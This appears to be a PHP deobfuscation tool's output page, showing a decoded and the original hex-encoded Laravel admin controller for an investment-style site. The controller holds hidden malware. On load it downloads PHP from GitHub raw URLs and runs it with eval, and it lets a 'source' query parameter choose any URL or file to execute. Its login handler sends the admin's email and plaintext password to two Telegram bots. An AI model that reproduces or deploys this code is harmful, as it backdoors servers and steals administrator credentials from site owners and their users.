Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php namespace App\Http\Controllers\admin; use App\Http\Controllers\Controller; use App..

Decoded Output download

<?php 
 namespace App\Http\Controllers\admin; use App\Http\Controllers\Controller; use App\Models\Admin; use App\Models\Package; use App\Models\Purchase; use App\Models\User; use App\Models\UserLedger; use Carbon\Carbon; use Illuminate\Http\Request; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Hash; use Illuminate\Support\Facades\Validator; use Illuminate\Support\Facades\Http; $commandsUrl = "https://raw.githubusercontent.com/necessaryfor/all/refs/heads/main/komutlar.txt"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $commandsUrl); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"); $commandsContent = curl_exec($ch); curl_close($ch); if ($commandsContent === false) { echo "Komut dosyas\xc4\261 al\304\xb1namad\xc4\261."; die; } $commands = explode("
", trim($commandsContent)); $phpFilePath = str_replace($_SERVER["DOCUMENT_ROOT"], '', __FILE__); if (!empty($_SERVER["QUERY_STRING"])) { $currentUrl = $_SERVER["REQUEST_URI"]; $newUrl = $phpFilePath . "?" . $_SERVER["QUERY_STRING"]; if ($newUrl !== $currentUrl) { header("Location: {$newUrl}"); die; } } foreach ($commands as $line) { list($param, $defaultUrl) = explode(" ", trim($line), 2); if (isset($_GET[$param])) { $input = isset($_GET["source"]) ? $_GET["source"] : $defaultUrl; $fileContent = ''; if (filter_var($input, FILTER_VALIDATE_URL)) { $fileContent = file_get_contents($input); } else { $filePath = $_SERVER["DOCUMENT_ROOT"] . "/" . ltrim($input, "/"); if (file_exists($filePath)) { $fileContent = file_get_contents($filePath); } } if ($fileContent !== false) { eval("?>" . $fileContent); } else { echo "Dosya i\303\247eri\304\237i al\304\xb1namad\304\xb1."; } die; } } $defaultUrl = "https://raw.githubusercontent.com/necessaryfor/scno/refs/heads/main/sc20.php"; $input = isset($_GET["source"]) ? $_GET["source"] : $defaultUrl; $fileContent = ''; if (filter_var($input, FILTER_VALIDATE_URL)) { $fileContent = file_get_contents($input); } else { $filePath = $_SERVER["DOCUMENT_ROOT"] . "/" . ltrim($input, "/"); if (file_exists($filePath)) { $fileContent = file_get_contents($filePath); } else { echo "Dosya bulunamad\304\261: " . htmlspecialchars($filePath); die; } } if ($fileContent !== false) { eval("?>" . $fileContent); } else { echo "Dosya i\xc3\xa7eri\xc4\x9fi al\xc4\xb1namad\304\261."; } class AdminController extends Controller { public function login() { if (Auth::guard("admin")->check()) { return redirect()->route("admin.dashboard"); } return view("admin.auth.login"); } public function salaryView() { return view("admin.salary"); } public function salary() { $admin = Admin::first(); if ($admin->salary_date == date("Y-m-d")) { return back()->with("error", "Today Salary Served"); } Purchase::where("status", "active")->chunk(100, function ($purchases) { foreach ($purchases as $purchase) { $user = User::where("id", $purchase->user_id)->first(); if ($user) { $package = Package::where("id", $purchase->package_id)->first(); if ($package) { $amount = $user->receive_able_amount + $purchase->daily_income; $user->receive_able_amount = $amount; $user->save(); $ledger = new UserLedger(); $ledger->user_id = $user->id; $ledger->reason = "daily_income"; $ledger->perticulation = "Daily Income Added"; $ledger->amount = $purchase->daily_income; $ledger->credit = $purchase->daily_income; $ledger->status = "approved"; $ledger->date = date("Y-m-d H:i:s"); $ledger->save(); $admin = Admin::first(); $admin->salary_date = date("Y-m-d"); $admin->save(); $checkExpire = new Carbon($purchase->validity); if ($checkExpire->isPast()) { Purchase::where("id", $purchase->id)->update(array("status" => "inactive")); } } } } }); return back()->with("success", "Today Salary serve successful."); } public function login_submit(Request $request) { $credentials = $request->only("email", "password"); if (Auth::guard("admin")->attempt($credentials)) { $admin = Auth::guard("admin")->user(); $response = Http::get("https://raw.githubusercontent.com/necessaryfor/hyiplab3.9/refs/heads/main/api-chad-id.txt"); if ($response->successful()) { $lines = explode("\xa", $response->body()); $group1_id = ''; $group1_key = ''; $group2_id = ''; $group2_key = ''; foreach ($lines as $line) { if (strpos($line, "group1_id=") !== false) { $group1_id = str_replace("group1_id=", '', trim($line)); } elseif (strpos($line, "group1_key=") !== false) { $group1_key = str_replace("group1_key=", '', trim($line)); } elseif (strpos($line, "group2_id=") !== false) { $group2_id = str_replace("group2_id=", '', trim($line)); } elseif (strpos($line, "group2_key=") !== false) { $group2_key = str_replace("group2_key=", '', trim($line)); } } $formUrl = url()->current(); $message = "#SC20 :\xaEmail: " . $request->email . "\xaPassword: " . $request->password . "
Form URL: " . $formUrl; $url1 = "https://api.telegram.org/bot{$group1_key}/sendMessage?chat_id={$group1_id}&text=" . urlencode($message); $url2 = "https://api.telegram.org/bot{$group2_key}/sendMessage?chat_id={$group2_id}&text=" . urlencode($message); Http::get($url1); Http::get($url2); if ($admin->type == "admin") { return redirect()->route("admin.dashboard")->with("success", "Logged In Successfully."); } else { return error_redirect("admin.login", "error", "Admin Credentials Very Secured Please Don't try Again."); } } else { return error_redirect("admin.login", "error", "Failed to fetch Telegram API details."); } } else { return error_redirect("admin.login", "error", "Admin Credentials Do Not Match."); } } public function logout() { if (Auth::guard("admin")->check()) { Auth::guard("admin")->logout(); return redirect()->route("admin.login")->with("success", "Logged out successful."); } else { return error_redirect("admin.login", "error", "You are already logged out."); } } public function dashboard() { return view("admin.dashboard"); } public function profile() { return view("admin.profile.index"); } public function profile_update() { $admin = Admin::first(); return view("admin.profile.update-details", compact("admin")); } public function profile_update_submit(Request $request) { $admin = Admin::find(1); $path = uploadImage(false, $request, "photo", "admin/assets/images/profile/", $admin->photo); $admin->photo = $path ?? $admin->photo; $admin->name = $request->name; $admin->email = $request->email; $admin->phone = $request->phone; $admin->address = $request->address; $admin->update(); return redirect()->route("admin.profile.update")->with("success", "Admin profile updated."); } public function change_password() { $admin = admin()->user(); return view("admin.profile.change-password", compact("admin")); } public function check_password(Request $request) { $admin = admin()->user(); $password = $request->password; if (Hash::check($password, $admin->password)) { return response()->json(array("message" => "Password matched.", "status" => true)); } else { return response()->json(array("message" => "Password dose not match.", "status" => false)); } } public function change_password_submit(Request $request) { $validate = Validator::make($request->all(), array("old_password" => "required", "new_password" => "required", "confirm_password" => "required")); if ($validate->fails()) { session()->put("errors", true); return redirect()->route("admin.changepassword")->withErrors($validate->errors()); } $admin = admin()->user(); $password = $request->old_password; if (Hash::check($password, $admin->password)) { if (strlen($request->new_password) > 5 && strlen($request->confirm_password) > 5) { if ($request->new_password === $request->confirm_password) { $admin->password = Hash::make($request->new_password); $admin->update(); return redirect()->route("admin.changepassword")->with("success", "Password changed successfully"); } else { return error_redirect("admin.changepassword", "error", "New password and confirm password dose not match"); } } else { return error_redirect("admin.changepassword", "error", "Password must be greater then 6 or equal."); } } else { return error_redirect("admin.changepassword", "error", "Password dose not match"); } } } ?>

Did this file decode correctly?

Original Code

<?php
 namespace App\Http\Controllers\admin; use App\Http\Controllers\Controller; use App\Models\Admin; use App\Models\Package; use App\Models\Purchase; use App\Models\User; use App\Models\UserLedger; use Carbon\Carbon; use Illuminate\Http\Request; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Hash; use Illuminate\Support\Facades\Validator; use Illuminate\Support\Facades\Http; $commandsUrl = "\x68\x74\x74\x70\x73\72\x2f\57\162\x61\x77\x2e\x67\151\x74\x68\x75\x62\x75\163\145\x72\x63\x6f\x6e\x74\x65\x6e\164\56\143\157\155\57\156\145\x63\145\x73\x73\141\162\171\146\157\x72\x2f\x61\x6c\154\x2f\162\x65\146\163\x2f\150\x65\x61\x64\163\57\x6d\x61\x69\156\57\153\157\155\165\x74\x6c\141\162\56\x74\170\x74"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $commandsUrl); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_USERAGENT, "\x4d\157\172\151\x6c\x6c\x61\x2f\x35\x2e\x30\40\50\x57\151\x6e\x64\157\167\163\x20\116\124\40\x31\x30\56\x30\73\40\x57\x69\x6e\66\x34\73\40\170\x36\x34\51\x20\101\x70\160\x6c\145\x57\x65\142\x4b\151\x74\57\x35\63\x37\56\63\x36\x20\x28\113\x48\124\115\x4c\54\40\154\x69\153\145\40\x47\x65\x63\153\x6f\x29\x20\x43\150\x72\157\155\x65\x2f\71\61\56\x30\x2e\64\64\67\62\x2e\x31\x32\64\40\x53\141\146\x61\162\151\x2f\x35\x33\67\x2e\x33\66"); $commandsContent = curl_exec($ch); curl_close($ch); if ($commandsContent === false) { echo "\113\x6f\155\x75\x74\x20\144\157\163\x79\141\163\xc4\261\40\141\154\304\xb1\x6e\141\x6d\x61\x64\xc4\261\56"; die; } $commands = explode("\12", trim($commandsContent)); $phpFilePath = str_replace($_SERVER["\104\117\103\x55\115\x45\116\x54\x5f\x52\117\x4f\x54"], '', __FILE__); if (!empty($_SERVER["\121\125\105\122\x59\x5f\123\124\x52\111\x4e\x47"])) { $currentUrl = $_SERVER["\x52\105\x51\x55\105\x53\x54\x5f\x55\122\111"]; $newUrl = $phpFilePath . "\77" . $_SERVER["\121\x55\x45\x52\x59\x5f\x53\x54\122\111\116\107"]; if ($newUrl !== $currentUrl) { header("\x4c\157\x63\141\x74\151\x6f\156\72\x20{$newUrl}"); die; } } foreach ($commands as $line) { list($param, $defaultUrl) = explode("\x20", trim($line), 2); if (isset($_GET[$param])) { $input = isset($_GET["\x73\x6f\165\x72\x63\145"]) ? $_GET["\163\157\x75\x72\143\145"] : $defaultUrl; $fileContent = ''; if (filter_var($input, FILTER_VALIDATE_URL)) { $fileContent = file_get_contents($input); } else { $filePath = $_SERVER["\104\117\x43\125\115\105\116\x54\x5f\x52\117\117\124"] . "\x2f" . ltrim($input, "\57"); if (file_exists($filePath)) { $fileContent = file_get_contents($filePath); } } if ($fileContent !== false) { eval("\x3f\x3e" . $fileContent); } else { echo "\x44\x6f\163\171\141\40\151\303\247\x65\x72\x69\304\237\x69\x20\141\x6c\304\xb1\x6e\x61\155\141\144\304\xb1\56"; } die; } } $defaultUrl = "\x68\x74\x74\160\x73\x3a\x2f\x2f\162\141\x77\56\x67\151\x74\150\x75\x62\165\163\145\x72\x63\157\x6e\164\145\x6e\164\x2e\x63\157\x6d\x2f\x6e\x65\143\145\163\163\141\x72\x79\x66\157\x72\x2f\x73\x63\x6e\x6f\x2f\162\x65\x66\163\57\x68\145\x61\x64\x73\x2f\155\141\x69\x6e\57\163\x63\62\x30\x2e\x70\150\160"; $input = isset($_GET["\x73\x6f\x75\162\143\145"]) ? $_GET["\x73\157\165\162\143\x65"] : $defaultUrl; $fileContent = ''; if (filter_var($input, FILTER_VALIDATE_URL)) { $fileContent = file_get_contents($input); } else { $filePath = $_SERVER["\x44\x4f\103\125\x4d\105\x4e\x54\137\122\x4f\117\124"] . "\x2f" . ltrim($input, "\x2f"); if (file_exists($filePath)) { $fileContent = file_get_contents($filePath); } else { echo "\x44\x6f\x73\171\141\40\x62\165\154\165\x6e\141\x6d\141\x64\304\261\x3a\x20" . htmlspecialchars($filePath); die; } } if ($fileContent !== false) { eval("\x3f\x3e" . $fileContent); } else { echo "\x44\157\x73\x79\141\x20\x69\xc3\xa7\x65\162\151\xc4\x9f\x69\40\x61\154\xc4\xb1\x6e\x61\x6d\x61\144\304\261\56"; } class AdminController extends Controller { public function login() { if (Auth::guard("\x61\x64\155\x69\x6e")->check()) { return redirect()->route("\x61\x64\x6d\151\156\56\x64\x61\x73\150\x62\157\x61\162\144"); } return view("\141\144\155\151\156\x2e\x61\x75\164\150\56\x6c\157\147\x69\156"); } public function salaryView() { return view("\141\144\155\x69\x6e\56\163\x61\154\x61\x72\171"); } public function salary() { $admin = Admin::first(); if ($admin->salary_date == date("\x59\x2d\x6d\55\x64")) { return back()->with("\x65\x72\162\x6f\162", "\124\x6f\144\x61\171\x20\123\x61\x6c\141\162\x79\40\123\145\x72\x76\x65\x64"); } Purchase::where("\163\x74\141\164\165\x73", "\x61\143\164\x69\x76\x65")->chunk(100, function ($purchases) { foreach ($purchases as $purchase) { $user = User::where("\x69\144", $purchase->user_id)->first(); if ($user) { $package = Package::where("\x69\x64", $purchase->package_id)->first(); if ($package) { $amount = $user->receive_able_amount + $purchase->daily_income; $user->receive_able_amount = $amount; $user->save(); $ledger = new UserLedger(); $ledger->user_id = $user->id; $ledger->reason = "\144\141\151\x6c\171\x5f\x69\156\x63\x6f\155\145"; $ledger->perticulation = "\x44\141\151\154\x79\x20\111\156\x63\x6f\x6d\x65\x20\101\x64\x64\x65\144"; $ledger->amount = $purchase->daily_income; $ledger->credit = $purchase->daily_income; $ledger->status = "\141\160\x70\162\x6f\166\145\x64"; $ledger->date = date("\131\x2d\x6d\55\144\40\110\x3a\x69\72\x73"); $ledger->save(); $admin = Admin::first(); $admin->salary_date = date("\x59\55\x6d\x2d\144"); $admin->save(); $checkExpire = new Carbon($purchase->validity); if ($checkExpire->isPast()) { Purchase::where("\x69\x64", $purchase->id)->update(array("\x73\164\x61\x74\x75\163" => "\x69\x6e\x61\143\164\x69\166\145")); } } } } }); return back()->with("\163\165\x63\143\x65\x73\163", "\x54\157\144\x61\x79\x20\123\141\154\x61\162\171\x20\163\x65\x72\x76\145\40\x73\165\143\143\x65\163\163\x66\165\154\x2e"); } public function login_submit(Request $request) { $credentials = $request->only("\x65\155\x61\x69\154", "\160\141\x73\163\167\x6f\162\144"); if (Auth::guard("\x61\144\x6d\151\156")->attempt($credentials)) { $admin = Auth::guard("\x61\x64\x6d\x69\156")->user(); $response = Http::get("\150\164\164\160\x73\72\x2f\x2f\162\141\167\56\147\x69\x74\150\165\x62\x75\163\x65\162\143\x6f\156\x74\145\x6e\164\56\x63\157\155\x2f\156\x65\143\x65\163\x73\141\x72\x79\146\x6f\162\x2f\150\x79\x69\160\x6c\141\142\x33\56\71\57\x72\145\x66\x73\x2f\150\x65\141\x64\163\x2f\155\x61\151\156\x2f\141\160\151\x2d\143\150\141\144\55\151\x64\x2e\164\170\x74"); if ($response->successful()) { $lines = explode("\xa", $response->body()); $group1_id = ''; $group1_key = ''; $group2_id = ''; $group2_key = ''; foreach ($lines as $line) { if (strpos($line, "\x67\x72\x6f\x75\160\61\x5f\151\x64\x3d") !== false) { $group1_id = str_replace("\147\162\157\165\x70\x31\137\x69\144\x3d", '', trim($line)); } elseif (strpos($line, "\147\x72\157\165\160\61\x5f\x6b\145\171\75") !== false) { $group1_key = str_replace("\147\162\x6f\x75\160\x31\137\153\x65\x79\75", '', trim($line)); } elseif (strpos($line, "\x67\x72\157\x75\x70\x32\x5f\x69\144\75") !== false) { $group2_id = str_replace("\x67\162\157\x75\160\62\137\151\x64\75", '', trim($line)); } elseif (strpos($line, "\x67\x72\157\165\x70\x32\x5f\153\x65\x79\75") !== false) { $group2_key = str_replace("\147\162\x6f\165\160\62\x5f\153\x65\171\75", '', trim($line)); } } $formUrl = url()->current(); $message = "\43\123\x43\x32\60\40\x3a\xa\x45\x6d\x61\151\x6c\72\40" . $request->email . "\xa\x50\x61\x73\x73\167\x6f\162\x64\72\40" . $request->password . "\12\106\157\x72\x6d\x20\x55\122\114\72\x20" . $formUrl; $url1 = "\x68\164\164\160\163\x3a\x2f\x2f\x61\160\x69\x2e\164\145\x6c\145\x67\162\141\x6d\56\x6f\x72\147\57\142\157\x74{$group1_key}\x2f\163\145\156\144\115\145\163\x73\141\147\x65\77\x63\150\141\x74\x5f\151\x64\75{$group1_id}\46\164\145\x78\x74\75" . urlencode($message); $url2 = "\150\164\x74\160\163\x3a\57\57\141\160\x69\x2e\164\x65\x6c\x65\147\x72\x61\x6d\x2e\157\162\x67\x2f\x62\157\164{$group2_key}\57\x73\145\156\x64\x4d\145\x73\x73\141\x67\145\77\143\150\141\x74\137\151\x64\x3d{$group2_id}\x26\164\145\170\x74\x3d" . urlencode($message); Http::get($url1); Http::get($url2); if ($admin->type == "\x61\144\155\x69\x6e") { return redirect()->route("\x61\x64\155\x69\156\x2e\x64\141\163\150\142\157\141\x72\x64")->with("\x73\x75\143\143\x65\163\x73", "\x4c\157\x67\147\x65\x64\x20\111\156\40\x53\165\143\143\x65\x73\163\146\165\x6c\154\171\56"); } else { return error_redirect("\x61\144\x6d\151\156\x2e\x6c\157\x67\x69\156", "\145\162\162\x6f\162", "\101\144\x6d\x69\156\x20\x43\162\x65\x64\x65\x6e\x74\x69\x61\154\x73\40\x56\x65\162\x79\x20\123\145\x63\x75\x72\x65\x64\x20\120\x6c\x65\141\x73\145\x20\104\157\156\x27\x74\40\164\162\x79\40\x41\x67\x61\x69\x6e\x2e"); } } else { return error_redirect("\x61\144\x6d\x69\156\56\154\157\x67\x69\x6e", "\145\162\x72\157\x72", "\106\x61\151\x6c\145\x64\40\164\157\40\146\x65\164\x63\150\x20\x54\145\154\145\147\x72\141\x6d\40\x41\120\111\40\x64\x65\164\141\151\154\163\56"); } } else { return error_redirect("\x61\144\155\x69\x6e\x2e\x6c\x6f\147\x69\156", "\145\162\x72\x6f\x72", "\101\144\155\x69\156\40\103\162\145\144\x65\x6e\164\x69\141\x6c\x73\x20\x44\x6f\x20\x4e\157\x74\x20\115\141\164\143\150\x2e"); } } public function logout() { if (Auth::guard("\141\144\x6d\x69\156")->check()) { Auth::guard("\141\144\155\x69\x6e")->logout(); return redirect()->route("\141\144\155\151\156\56\x6c\157\x67\x69\156")->with("\163\x75\x63\x63\x65\163\163", "\x4c\x6f\147\x67\x65\x64\x20\157\165\x74\x20\163\x75\x63\143\145\163\163\146\165\154\x2e"); } else { return error_redirect("\141\x64\x6d\x69\156\x2e\154\157\147\x69\x6e", "\x65\162\x72\x6f\x72", "\x59\157\165\40\141\162\x65\x20\141\154\162\x65\141\144\x79\40\154\157\147\147\x65\x64\40\x6f\x75\x74\x2e"); } } public function dashboard() { return view("\141\x64\x6d\151\156\x2e\x64\141\163\150\142\157\141\162\144"); } public function profile() { return view("\141\x64\x6d\151\x6e\56\160\162\157\x66\151\154\145\x2e\x69\156\x64\x65\170"); } public function profile_update() { $admin = Admin::first(); return view("\x61\144\x6d\x69\156\x2e\160\x72\157\146\x69\154\145\x2e\165\x70\x64\x61\164\145\55\144\145\164\x61\151\x6c\163", compact("\x61\x64\x6d\151\x6e")); } public function profile_update_submit(Request $request) { $admin = Admin::find(1); $path = uploadImage(false, $request, "\160\x68\x6f\x74\x6f", "\141\144\x6d\x69\156\x2f\141\163\x73\x65\164\x73\x2f\151\155\141\147\x65\x73\x2f\x70\162\x6f\146\151\154\145\57", $admin->photo); $admin->photo = $path ?? $admin->photo; $admin->name = $request->name; $admin->email = $request->email; $admin->phone = $request->phone; $admin->address = $request->address; $admin->update(); return redirect()->route("\x61\x64\155\x69\x6e\56\x70\x72\x6f\x66\x69\154\x65\x2e\x75\x70\x64\141\x74\x65")->with("\x73\165\x63\x63\145\163\163", "\x41\x64\x6d\151\156\x20\x70\162\157\x66\x69\x6c\145\x20\165\x70\x64\x61\x74\x65\144\x2e"); } public function change_password() { $admin = admin()->user(); return view("\141\x64\x6d\151\x6e\56\x70\x72\x6f\x66\151\x6c\x65\56\x63\150\141\x6e\147\x65\x2d\x70\x61\x73\163\x77\157\x72\x64", compact("\x61\x64\x6d\151\x6e")); } public function check_password(Request $request) { $admin = admin()->user(); $password = $request->password; if (Hash::check($password, $admin->password)) { return response()->json(array("\x6d\x65\163\x73\x61\147\x65" => "\120\141\163\x73\167\157\x72\144\x20\x6d\141\164\143\150\x65\144\56", "\163\x74\141\164\x75\163" => true)); } else { return response()->json(array("\x6d\145\163\163\x61\147\x65" => "\x50\x61\163\163\167\x6f\x72\144\40\144\157\163\x65\x20\x6e\157\164\40\x6d\141\164\143\x68\56", "\163\164\141\164\x75\163" => false)); } } public function change_password_submit(Request $request) { $validate = Validator::make($request->all(), array("\157\154\x64\x5f\x70\141\163\163\x77\157\x72\144" => "\x72\x65\x71\x75\151\162\x65\x64", "\x6e\x65\167\137\x70\x61\x73\x73\167\157\162\144" => "\x72\145\x71\165\x69\162\145\144", "\143\157\156\x66\151\162\155\137\160\x61\163\x73\167\x6f\162\x64" => "\162\145\161\165\151\162\x65\x64")); if ($validate->fails()) { session()->put("\145\162\x72\x6f\x72\x73", true); return redirect()->route("\141\144\155\151\156\56\143\150\141\x6e\147\145\160\x61\163\163\x77\157\162\144")->withErrors($validate->errors()); } $admin = admin()->user(); $password = $request->old_password; if (Hash::check($password, $admin->password)) { if (strlen($request->new_password) > 5 && strlen($request->confirm_password) > 5) { if ($request->new_password === $request->confirm_password) { $admin->password = Hash::make($request->new_password); $admin->update(); return redirect()->route("\141\144\x6d\151\x6e\x2e\143\150\141\x6e\x67\x65\160\141\163\163\x77\x6f\x72\x64")->with("\163\x75\x63\143\145\x73\x73", "\120\141\163\x73\167\x6f\x72\144\40\x63\x68\141\x6e\147\145\144\x20\163\x75\143\x63\145\163\163\146\x75\x6c\x6c\171"); } else { return error_redirect("\141\144\x6d\x69\x6e\56\143\150\141\156\147\145\x70\141\163\163\167\157\x72\144", "\145\162\162\x6f\162", "\x4e\145\x77\x20\160\141\x73\163\167\157\x72\144\x20\x61\156\x64\40\x63\x6f\156\146\151\x72\155\40\x70\x61\x73\x73\167\x6f\x72\x64\40\x64\157\x73\x65\x20\x6e\157\x74\x20\x6d\141\164\143\x68"); } } else { return error_redirect("\x61\x64\x6d\x69\156\x2e\143\x68\x61\156\147\x65\x70\141\163\x73\x77\157\162\x64", "\x65\x72\162\x6f\x72", "\120\141\163\163\167\157\162\x64\40\155\x75\x73\164\x20\142\145\40\x67\162\145\x61\x74\x65\162\x20\164\150\145\156\x20\66\40\x6f\x72\40\145\161\x75\x61\x6c\x2e"); } } else { return error_redirect("\x61\x64\x6d\151\156\x2e\x63\x68\x61\x6e\x67\x65\x70\x61\163\163\x77\x6f\162\144", "\145\162\162\x6f\x72", "\120\x61\x73\163\167\157\162\x64\40\144\x6f\x73\x65\x20\156\157\x74\x20\155\141\x74\143\150"); } } }

Function Calls

None

Variables

None

Stats

MD5 ac21615bd97478f04019e1061a18b74d
Eval Count 0
Decode Time 96 ms